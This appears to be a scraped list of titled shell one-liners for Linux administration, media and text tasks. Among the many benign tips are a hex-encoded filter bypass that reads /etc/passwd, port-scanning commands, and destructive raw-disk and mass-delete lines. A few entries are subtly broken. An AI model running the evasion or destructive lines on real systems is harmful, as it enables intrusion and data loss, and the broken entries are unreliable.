df output, sorted by Use% and correctly maintaining header row
df -h | grep -v ^none | ( read header ; echo "$header" ; sort -rn -k 5)
Extract android adb ab backup to tar format (only works for non encrypted backups)
dd if=mybackup.ab bs=24 skip=1 | openssl zlib -d > mybackup.tar
Move a folder and merge it with another folder
gcp -r -l source/ destination/
See n most used commands in your bash history
sort ~/.bash_history|uniq -c|sort -n|tail -n 10
Watch the National Debt clock
watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
Get lines count of a list of files
find . -name "*.sql" -print0 | wc -l --files0-from=-
Quickly batch resize images
mogrify -geometry 800x600 *.jpg
Get an authorization code from Google
curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$password -d service=lh2 | grep Auth | sed 's/Auth=\(.*\)/\1/'
Check whether laptop is running on battery or cable
cat /proc/acpi/ac_adapter/AC0/state
Hold off any screensavers/timeouts
while true; do xdotool mousemove_relative 1 1; xdotool mousemove_relative -- -1 -1; sleep $((60 * 4)); done
Recursively remove Mac . (dot) files
find . -name '._*' -type f -delete
Display a Lissajous curve in text
ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"
Add .gitignore files to all empty directories recursively from your current directory
find . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;
Export a directory to all clients via NFSv4, read/write.
exportfs -o fsid=0,rw :/home/jason
Watch your freebox flux, through a other internet connection (for French users)
vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout '#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http,mux=ogg,url=:12345}' -I ncurses 2> /dev/null
Remote copy directories and files through an SSH tunnel host
rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/
Pack up some files into a tarball on a remote server without writing to the local filesystem
tar -czf - * | ssh example.com "cat > files.tar.gz"
Kill all processes belonging to a single user.
kill -9 `ps -u <username> -o "pid="`
Convert .flv to .3gp
ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp
Sort files by size
ls -l | sort -nk5
colored prompt
export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '
Create a backup of file being edited while using vi
:!cp % %-
Display calendar with specific national holidays and week numbers
gcal -K -q GB_EN 2009 !!! Example "display holidays in UK/England for 2009 (with week numbers)
kill all processes using a directory/file/etc
lsof|grep /somemount/| awk '{print $2}'|xargs kill
Simplified video file renaming
for f in *;do mplayer $f;read $n;mv $f $n;done
Add a Clock to Your CLI
export PS1="${PS1%\\\$*}"' \t \$ '
Delete files older than..
find /dir_name -mtime +5 -exec rm {} \
Converts a single FLAC file with associated cue file into multiple FLAC files
cuebreakpoints "$2" | shnsplit -o flac "$1"
Installing True-Type fonts
ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
Replicate a directory structure dropping the files
for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
useful tail on /var/log to avoid old logs or/and gzipped files
tail -f *[!.1][!.gz]
Remount root in read-write mode.
sudo mount -o remount,rw /
Mount proc
mount -t proc{,,}
Check the status of a network interface
mii-tool [if]
Random play a mp3 file
mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"
for too many arguments by *
echo *.log | xargs <command>
Find files that are older than x days
find . -type f -mtime +7 -exec ls -l {} \;
restore the contents of a deleted file for which a descriptor is still available
N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
Show current iptables rules, with line numbers
iptables -nL -v --line-numbers
See a full list of compiler defined symbols
gcc -dM -E - < /dev/null
Show drive names next to their full serial number (and disk info)
ls -l /dev/disk/by-id |gawk 'match($11, /[a-z]{3}$/) && match($9, /^ata-/) { gsub("../", ""); print $11,"\t",$9 }' |sort
command shell generate random strong password
len=20; tr -dc A-Za-z0-9_ < /dev/urandom | head -c ${len} | xargs
Show Mac OS X version information
sw_vers
convert filenames in current directory to lowercase
find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
List detailed information about a ZIP archive
zipinfo -l <pathtozipfile>
Bytebeat
echo 'main(t){for(;;t++)putchar(((t<<1)^((t<<1)+(t>>7)&t>>12))|t>>(4-(1^7&(t>>19)))|t>>7);}' | cc -x c - -o crowd && ./crowd | aplay
A snooze button for xmms2 alarm clock
xmms2 pause && echo "xmms2 play" | at now +5min
Check your hard drive for bad blocks (destructive)
badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr
set a reminder for 5 days in the future
echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.domain.com" | at 23:00 Feb 8
Display packages and versions on Debian/Ubuntu distrib
dpkg-query -Wf '${Package} - ${Version}\n' | sort -n
Use AWS CLI and JQ to get a list of instances sorted by launch time
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,LaunchTime]' --output text | sort -n -k 2
Creating shortened URLs from the command line
curl -s http://tinyurl.com/create.php?url=http://<website.url>/ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' | uniq
Prevent overwriting file when using redirection
set -o noclobber
Get the time since epoch
date +%s
Quickly ping range of IP adresses and return only those that are online
{ for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i & done } | grep "64 bytes"
Create a DOS floppy image
dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
Display condensed log of changes to current git repository
git log --pretty=oneline
download all the presentations from UTOSC2010
b="http://2010.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
Clean your broken terminal
reset
send a file or directory via ssh compressing with lzma for low trafic
tar -cf - ./file | lzma -c | ssh user@sshserver $(cd /tmp; tar --lzma -xf -)
Save all commands from commandlinefu.com to plain text sort by vote
curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-9000:25] | grep -vE "_curl_|\.com by David" > clf-ALL.txt
Quickly ping range of IP adresses and return only those that are online
nmap -sP 192.168.0.0/24
user 'tr' to convert mixed case in a file to lower case
tr "[:upper:]" "[:lower:]" < file
Sort movies by length, longest first
find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'
use vi key bindings at the command line
set -o vi
take execution time of several commands
time { <command1> ; <command2> ; <command...> ; }
Convert file type to unix utf-8
ex some_file "+set ff=unix fileencoding=utf-8" "+x"
Enter your ssh password one last time
cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"
Watch the disk fill up
watch -n 1 df
convert filenames in current directory to lowercase
for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done
Want to known what time is it in another part of the world ?
TZ=Indian/Maldives date
Remove a file whose name begins with a dash ( - ) character
rm ./-filename
Create MySQL-Dump, copy db to other Server and upload the db.
mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName"
Change the window title of your xterm
echo "^[]0;My_Title_Goes _Here^G"
Change the ownership of all files owned by one user.
find /home -uid 1056 -exec chown 2056 {} \;
Find all the files more than 10MB, sort in descending order of size and record the output of filenames and size in a text file.
find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
Forward port 8888 to remote machine for SOCKS Proxy
ssh -D 8888 user@site.com
Compress files found with find
find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz
Always tail/edit/grep the latest file in a directory of timestamped files
tail -f /path/to/timestamped/files/file-*(om[1])
gpg decrypt a file
gpg --output foo.txt --decrypt foo.txt.pgp
Know which modules are loaded on an Apache server
apache2 -t -D DUMP_MODULES
Do a command but skip recording it in the bash command history
_cd ~/nsfw; mplayer midget_donkey.mpeg
Determine an image's dimensions
identify -format "%wx%h" /path/to/image.jpg
Copy your SSH public key on a remote machine for passwordless login.
cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'
Email a file to yourself
uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -executable -type f -printf "%f\n"
Show sorted list of files with sizes more than 1MB in the current dir
du -hs * | grep '^[0-9,]*[MG]' | sort -rn
Unix time to local time
date -R -d @1234567890
Find 'foo' string inside files
find . -type f -print | xargs grep foo
Find C/C++ source files
find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f
Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext" --silent | sed "s/\(^#.*\)/\x1b[32m\1\x1b[0m/g" | less -R }
find your release version of your ubuntu / debian distro
lsb_release -a
display a one-liner of current nagios exit statuses. great with netcat/irccat
grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
Colored cal output
alias cal='cal | grep --color=auto -E "( |^)$(date +%e)|$"'
Restore deleted file from GIT repository
git checkout $(git rev-list -n 1 HEAD -- "$file")^ -- "$file"
modify a file in place with perl
perl -pi -e 's/THIS/THAT/g' fileglob*
Shorten any Url using bit.ly API, using your API Key which enables you to Track Clicks
curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"
history manipulation
!-2 && !-1
Deploy git server repo
apt-get -y install git-core gitosis; adduser --home /home/git --gecos "git user" git; su git -c "ssh-keygen -t rsa -f /home/git/.ssh/id_rsa; gitosis-init < ~/.ssh/id_rsa"
Convert a string to "Title Case"
echo 'This is a TEST' | sed 's/[^ ]\+/\L\u&/g'
old man's advice
fortune | toilet -w $(($(tput cols)-5)) -f pagga | cowsay -n -f beavis.zen
Show your current network interface in use
route | grep -m1 ^default | awk '{print $NF}'
A function to find the newest file in a directory
find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
Find biggest 10 files in current and subdirectories and sort by file size
find . -type f -print0 | xargs -0 du -h | sort -hr | head
Network Folder Copy with Monitoring ( tar + nc + pv )
#@source; tar -cf - /path/to/dir | pv | nc -l -p 6666 -q 5; #@target; nc 192.168.1.100 6666 | pv | tar -xf -
Use jq to validate and pretty-print json output
jq < file.json
External IP (raw data)
wget -qO- http://utils.admin-linux.fr/ip.php
get all Google ipv4 subnets for a iptables firewall for example
nslookup -q=TXT _netblocks.google.com | grep -Po '\b([0-1]?\d{1,2}|2[0-4]\d|25[0-5])(\.([0-1]?\d{1,2}|2[0-4]\d|25[0-5])){3}(/\d{1,2})\b'
Instant mirror from your laptop + webcam
cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &
Calculate 12 + 22 + 3**2 + …
seq -f"%g^2" -s "+" 10 | bc
Combine all .mpeg files in current directory into one big one.
cat *.mpg > all.mpg
Shows the torrent file name along with the trackers url
grep -ao -HP "http://[^/]*/" *
show the real times iso of epochs for a given column
perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log
Recursive grep of all c++ source under the current directory
find . -name '*.?pp' | xargs grep -H "string"
Add existing user to a group
usermod -a -G groupname username
Remove EXIF data from images with progress
i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
Look for IPv4 address in files.
alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
Make a thumbnail image of first page of a PDF.
convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg
fuman, an alternative to the 'man' command that shows commandlinefu.com examples
fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; }
trace the system calls made by a process (and its children)
strace -f -s 512 -v ls -l
Switch to a user with "nologin" shell
sudo -u username bash
Find and list users who talk like "lolcats"
cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq | xargs -I {} echo "Note to self: ban user '{}'"
ps with parent/child process tree
ps auxf
Dump root ext3 fs over ssh
dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
Reset terminal that has been buggered by binary input or similar
stty sane
Count the number of characters in each line
awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
list your device drivers
lspci -vv
bulk dl files based on a pattern
curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg
Changes standard mysql client output to 'less'.
echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf
Go to the Nth line of file
awk 'NR==13' /etc/services
Matrix - Just 1 wobbly line rather then a rain! (shorter)
while true; do printf "\e[32m%*s\e[0m" $(tput cols) $(shuf -e {0..1} -n $(tput cols)); sleep 0.1; done
Prepend section dates to individual entries in a summary log file
gawk 'match($0, /^\s*([0-9]{2}\/[0-9]{2}\/[0-9]{4})\s*/, m) {prev_date=m[1]} /SEARCHSTRING/ {print prev_date, ",", $1 $2, ",", $3, "," $5}' inputfile.txt
A Console-based Audio Visualizer for ALSA
cava
Bypass with hexencoding, dump /etc/passwd
cat $(echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
Copy a file with progress and save hash to a different file
pv file.txt | tee >(sha1sum > file.sha1) > file-copy.txt
Truncate long strings in columns and use custom header names
column -s: -t -n . -N USERNAME,PASS,UID,GID,NAME,HOMEDIR,SHELL -T NAME /etc/passwd|sed "1,2 i $(printf %80s|tr ' ' '=')"
How to sum lines with decimals in awk
awk '{a+=$0}END{print a}' file
Print sensors data for your hardware
paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/'
List all installed kernels on Ubuntu except current one
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
Generate trigonometric/log data easily
echo "e("{1..8}");" | bc -l
get you public ip address
echo $(curl -s http://ipwhats.appspot.com/)
Generate a (compressed) pdf from images
convert -compress jpeg *.jpg mydoc.pdf
set history file length
export HISTFILESIZE=99999
"I Feel Lucky" for Google Images
echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"
Speed up the keyboard repeat rate in X server
xset r rate 250 120
Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq
Generate map of your hardware
lstopo -p -v --whole-system --whole-io output.svg
Paged, colored svn diff
svn diff $* | colordiff | less -r
compare two Microsoft Word documents
meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)
Pick a random line from a file
sort -R file.txt | head -1
show todays svn log
svn log --revision {`date +%Y-%m-%d`}:HEAD
Recover resolution when a fullscreen program crashes and you're stuck with a tiny X resolution
xrandr -s 0
Backup VPS disk to another host
ssh root@vps.example -p22 "cat /dev/sda1 | gzip -1 - " > vps.sda1.img.gz
List all the files that have been deleted while they were still open.
lsof | egrep "^COMMAND|deleted"
Run skype using your GTK theme
skype --disable-cleanlooks -style GTK
Determine space taken by files of certain type
find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'
save your current environment as a bunch of defaults
env | sed 's/\(.*\)=\(.*\)/: ${\1:="\2"}/' > mydefaults.bash
Superfast portscanner
time seq 65535 | parallel -k --joblog portscan -j9 --pipe --cat -j200% -n9000 --tagstring '\033[30;3{=$_=++$::color%8=}m' 'nc -vz localhost $(head -n1 {})-$(tail -n1 {})'
Print nic name of current connection
nmcli -g name,type connection show --active|awk -F: '/ethernet|wireless/ { print $1 }'
Double your disk read performance in a single command
blockdev --setra 1024 /dev/sdb
force unsupported i386 commands to work on amd64
setarch i386 [command [args]]
Output a SSL certificate start or end date
date --date="$(openssl x509 -in xxxxxx.crt -noout -startdate | cut -d= -f 2)" --iso-8601
Find files recursively that were updated in the last hour ignoring SVN files and folders.
find . -mmin -60 -not -path "*svn*" -print|more
Comma insertions
perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'
Download SSL/TLS pem format cert from https web host
openssl s_client -showcerts -connect google.com:443 </dev/null 2>/dev/null|openssl x509 -outform PEM > /tmp/google.com.cer
rename anime fansubs
rename -n 's/[_ ]?[\[\(]([A-Z0-9-+,\.]+)[\]\)][_ ]?//ig' '[subs4u]_Mushishi_S2_22_(hi10p,720p,ger.sub)[47B73AEB].mkv'
Moving large number of files
find /source/directory -mindepth 1 -maxdepth 1 -name '*' -print0 | xargs -0 mv -t /target/directory;
reapair all mySQL/mariaDB databases
mysqlcheck --repair --all-databases -u root -p<PASSWORD>
Update all Docker Images
docker images --format "{{.Repository}}:{{.Tag}}" | grep ':latest' | xargs -L1 docker pull
Learn the difference between single and double quotes
a=7; echo $a; echo "$a"; echo '$a'; echo "'$a'"; echo '"$a"'
create an uncompressed tar file of each child directory of the current working directory
find . -maxdepth 1 -mindepth 1 -type d -exec tar cvf {}.tar {} \;
Massive change of file extension (bash)
for file in *.txt; do mv "${file%.txt}{.txt,.xml}"; done
Poor man's ntpdate
date -s "$(curl -sD - www.example.com | grep '^Date:' | cut -d' ' -f3-6)Z"
get all Google ipv4/6 subnets for a iptables firewall for example (updated version)
for NETBLOCK in $(echo _netblocks.google.com _netblocks2.google.com _netblocks3.google.com); do nslookup -q=TXT $NETBLOCK ; done | tr " " "\n" | grep ^ip[46]: | cut -d: -f2- | sort
Show all current listening programs by port and pid with SS instead of netstat
ss -plunt
Write a bootable Linux .iso file directly to a USB-stick
wget -O /dev/sdb https://cdimage.ubuntu.com/daily-live/current/eoan-desktop-amd64.iso
Check difference between two file directories recursively
diff <(tree /dir/one) <(tree /dir/two)
Sort processes by CPU Usage
ps auxk -%cpu | head -n10
Find top 10 largest files in /var directory (subdirectories and hidden files included )
tree -ihafF /var | tr '[]' ' '| sort -k1hr|head -10
To create files with specific permission:
install -b -m 777 /dev/null file.txt
website recursive offline mirror with wget
wget -e robots=off --mirror --convert-links --adjust-extension --page-requisites --recursive --no-parent www.example.com
grep expression (perl regex) to extract all ip addresses from both ip and ifconfig commands output
ip a | grep -oP '(?<=inet |addr:)(?:\d+\.){3}\d+'
Create multiple subfolders in one command.
mkdir -p /path/{folder1,folder2,folder3,folder4}
Converts all pngs in a folder to webp using all available cores
parallel cwebp -q 80 {} -o {.}.webp ::: *.png
Rename all files in lower case
rename 'y/A-Z/a-z/' *
Print a horizontal line
printf "%`tput cols`s"|sed "s/ /_/g"
The proper way to read kernel messages in realtime.
dmesg -wx
Get all documents (doc,docx,xls,xlsx,pdf,ppt,pptx,…) linked in a webpage
curl https://www.domain.com/ | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*.*(doc|docx|xls|xlsx|ppt|pptx|pdf)" | sort | uniq > list.txt | wget list.txt
Get a diff of two json arrays
diff <(jq . -M -S < old.json) <(jq . -M -S < new.json)
Create subversion undo point
function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }
Create a video screencast of any x11 window, with audio
echo "Click a window to start recording"; read x y W H <<< `xwininfo | grep -e Width -e Height -e Absolute | grep -oE "[[:digit:]]{1,}" | tr "\n" " "`; ffmpeg -f alsa -ac 1 -i pulse -f x11grab -s ${W}x${H} -r 25 -i :0.0+${x},${y} -sameq output.mkv
merge pdf using bash brace exansion
pdftk pg_000{1..9}.pdf cat output MyFile.pdf
Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%-30s'\t\"%h/%f\"\n" | sort -rn -t$'\t' | uniq -w30 -D | cut -f 2 -d $'\t' | xargs md5sum | sort | uniq -w32 --all-repeated=separate
Google Translate
cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; ); echo "$cmd"
translate what is in the clipboard in english and write it to the terminal
curl -s "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6
Convert DOS newlines (CR/LF) to Unix format
sed 's/^M$//' input.txt > output.txt
Live stream a remote desktop over ssh using only ffmpeg
ssh user@host "ffmpeg -f x11grab -r 5 -s 1280x720 -i :0 -f avi -" | ffplay - &>/dev/null
invoke MATLAB functions from command line
nohup matlab -nosplash -nodesktop -nodisplay -nojvm -logfile output.log -r "function(0)" >output &
Turn off your laptop screen on command
xset dpms force standby
Create and access directory at the same time
mkdir [folder-name] && cd $_
Show (only) list of files changed by commit
git show --relative --pretty=format:'' --name-only HASH
format txt as table
cat /etc/passwd | column -nts:
Delete all git branches except master
git branch | grep -v "master" | sed 's/^[ *]*//' | sed 's/^/git branch -D /' | bash
Link a deep tree of files all into on directory
find /deep/tree/ -type f -print0|xargs -0 -n1 -I{} ln -s '{}' .
Text graphing ping output filter
ping g.co|perl -ne'$|=/e=(\S+)/||next;(push@_,$1)>30&&shift@_;print"\r",(map{"\xe2\x96".chr(128+7*$_/(sort{$b<=>$a}@_)[0])." "}@_),"$1ms"'
Find total Terabytes written to a SSD
smartctl -a /dev/sda |grep Writ |awk '{print $NF/2/1024/1024/1024 " TeraBytes Written"}'
Listen YouTube radios streaming
streamlink --player="cvlc --no-video" "https://www.youtube.com/freecodecamp/live" 720p|& tee /dev/null
listen to ram
cat /dev/mem > /dev/audio
Remove all unused kernels with apt-get
aptitude remove ?and(~i~nlinux-(im|he) ?not(~n`uname -r`))
Get a list of ssh servers on the local subnet
nmap -p 22 10.3.1.1/16 | grep -B 4 "open"
apt-get upgrade with bandwidth limit
sudo apt-get -o Acquire::http::Dl-Limit=20 -o Acquire::https::Dl-Limit=20 upgrade -y
Create and access directory at the same time
mkdir [[folder]] && cd $_
Windows telnet
Test-NetConnection -ComputerName example.com -Port 443
find string into one pdf file
find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"
give a binary the ability to open ports below 1024 as non root user
sudo setcap CAP_NET_BIND_SERVICE=+eip /usr/bin/python2.7
Display full tree information of a single process
pstree -plants $(pidof -s firefox)
Sort files in folders alphabetically
for i in *; do I=`echo $i|cut -c 1|tr a-z A-Z`; if [ ! -d "$I" ]; then mkdir "$I"; fi; mv "$i" "$I"/"$i"; done
Adding Prefix to File name
for i in *.pdf; do mv "$i" CS749__"$i"; done
An alias to re-run last command with sudo. Similar to "sudo !!"
alias please='sudo $(fc -ln -1)'
Search for a string in all files recursively
grep -ir string *
Convert CSV to JSON
python -c "import csv,json;print json.dumps(list(csv.reader(open('csv_file.csv'))))"
Speed up or slow down video (and audio)
videospeed() { vname="$1"; speedc="$2"; vs=$(python3 -c "print(1/$speedc)"); aspeed=$(python3 -c "print(1*$speedc)"); ffmpeg -i "$vname" -filter:a "atempo=$aspeed" -filter:v "setpts=$vs*PTS" "${3:-converted_$1}"; }
Slow down the screen output of a command
ls -lart|lolcat -a
Print a row of characters the width of terminal
printf -vl "%${COLUMNS:-`tput cols 2>&-||echo 80`}s\n" && echo ${l// /-};
Multiplication table
for y in {1..10}; do for x in {1..10}; do echo -n "| $x*$y=$((y*x)) "; done; echo; done|column -t
pip install into current directory without virtualenv
pip install --prefix $PWD -I pip
Ad blocking on Ubuntu phone/tablet with hosts file
sudo mount -o remount,rw / && sudo cp /etc/hosts /etc/hosts.old && wget http://winhelp2002.mvps.org/hosts.txt && cp /etc/hosts ~/ && cat hosts.txt >> hosts && sudo cp hosts /etc/hosts
Find top 10 largest files in /var directory (subdirectories and hidden files included )
tree -isafF /var|grep -v "/$"|tr '[]' ' '|sort -k1nr|head
Your name backwards
echo "$USER"|rev | espeak
Block all FaceBook traffic
ASN=32934; for s in $(whois -H -h riswhois.ripe.net -- -F -K -i $ASN | grep -v "^$" | grep -v "^%" | awk '{ print $2 }' ); do echo " blocking $s"; sudo iptables -A INPUT -s $s -j REJECT &> /dev/null || sudo ip6tables -A INPUT -s $s -j REJECT; done
Safe Russian Roulette (only echo, don't delete files)
[ $[ $RANDOM % 6 ] == 0 ] && echo 'Bang!' || echo 'Click...'
A rainbow-colored Tux gives a fortune cookie for the day. Great
fortune -s | cowsay -f tux | lolcat -s 64
Show all the available information about your current distribution, package management and base
echo /etc/*_ver* /etc/*-rel*; cat /etc/*_ver* /etc/*-rel*
Recursively remove directory with many files quickly
blank=$(mktemp -d); rsync --delete "$blank/" "bigdir/"; rmdir "$blank"
total percentage of memory use for all processes with a given name
ps -eo pmem,comm | grep java | awk '{sum+=$1} END {print sum " % of RAM"}'
Takes and displays screenshot of Android phone over adb.
adb shell "screencap -p | base64" | sed 's/\r$//' | base64 -d | display
check remote port without telnet
cat < /dev/tcp/74.125.224.40/80
get ip of all running docker containers
docker inspect --format "{{ .NetworkSettings.IPAddress }}" $(docker ps -q)
List known debian vulnerabilities on your system – many of which may not yet be patched.
debsecan --format detail
retrieve the source address used to contact a given host
python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null
add a ip address to a network device
ip addr add 192.168.10.1/24 dev eth0
Convert a string to
python -c "print 'this is a test'.title()"
get a process list by listen port
netstat -ntlp | grep -w 80 | awk '{print $7}' | cut -d/ -f1
OpenDns IP update via curl
curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'
Extracting frames from a video as jpeg files
mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames
find available cpu frequencies on FreeBSD
sysctl dev.cpu.0.freq_levels
Directory bookmarks
bm() { export BM${1?"bookmark name missing"}="$PWD" ; }; forget() { unset BM${1?"bookmark name missing"} ; }
remove execute bit only from files. recursively
find . -type f -exec chmod -x {} \;
list block level layout
lsblk
IP addresses connected to port 80
netstat -tn 2>/dev/null | grep ':80 ' | awk '{print $5}' |sed -e 's/::ffff://' | cut -f1 -d: | sort | uniq -c | sort -rn | head
Print trending topics on Twitter
wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'
Change to $HOME - zsh, bash4
~
remove oprhan package on debian based system
sudo deborphan | xargs sudo apt-get -y remove --purge
archlinux: shows list of files installed by a package
pacman -Ql gvim
Binary search/replace
xxd -p source | fold -w2 | paste -sd' ' | sed "s/A/B/g" | xxd -p -r > destination
Change files case, without modify directories, recursively
find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+
Print all fields in a file/output from field N to the end of the line
cut -f N- file.dat
Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons
how to export a table in .csv file
mysql -u[username] -p[password] [nome_database] -B -e "SELECT * FROM [table] INTO OUTFILE '/tmp/ca.csv' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';
List directories sorted by (human readable) size
du -h --time --max-depth=1 | sort -hr
Extract busiest times from apache access log
cut -d " " -f1,4 access_log | sort | uniq -c | sort -rn | head
Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;
use SHIFT + ALT to toggle between two keyboard layouts
setxkbmap -option grp:switch,grp:alt_shift_toggle,grp_led:scroll us,es
Backup entire directory using rsync
rsync -avzhP <[[user@]host1:]directory1> <[[user@]host2:]directory2>
Search and play youtube videos directly to terminal (no X needed)
pyt() { id=$(curl -s 'https://www.youtube.com/results?search_query='$(tr ' ' + <<<"$1") | grep -om3 '"[[:alnum:]]\{11\}"' | awk NR==3 | tr -d \"); youtube-dl -q 'https://www.youtube.com/watch?v='"$id" -o - | mplayer -vo null /dev/fd/3 3<&0 </dev/tty; }
Play online music videos in terminal
pvl() { (for i in "$@"; do youtube-dl -q --max-downloads 1 --no-playlist "$i" -o - | mplayer -vo null /dev/fd/3 3<&0 </dev/tty; sleep .5; done); }
Grep only files matching certain pattern (Advanced)
find . -path "*/any_depth/*" -exec grep "needle" {} +
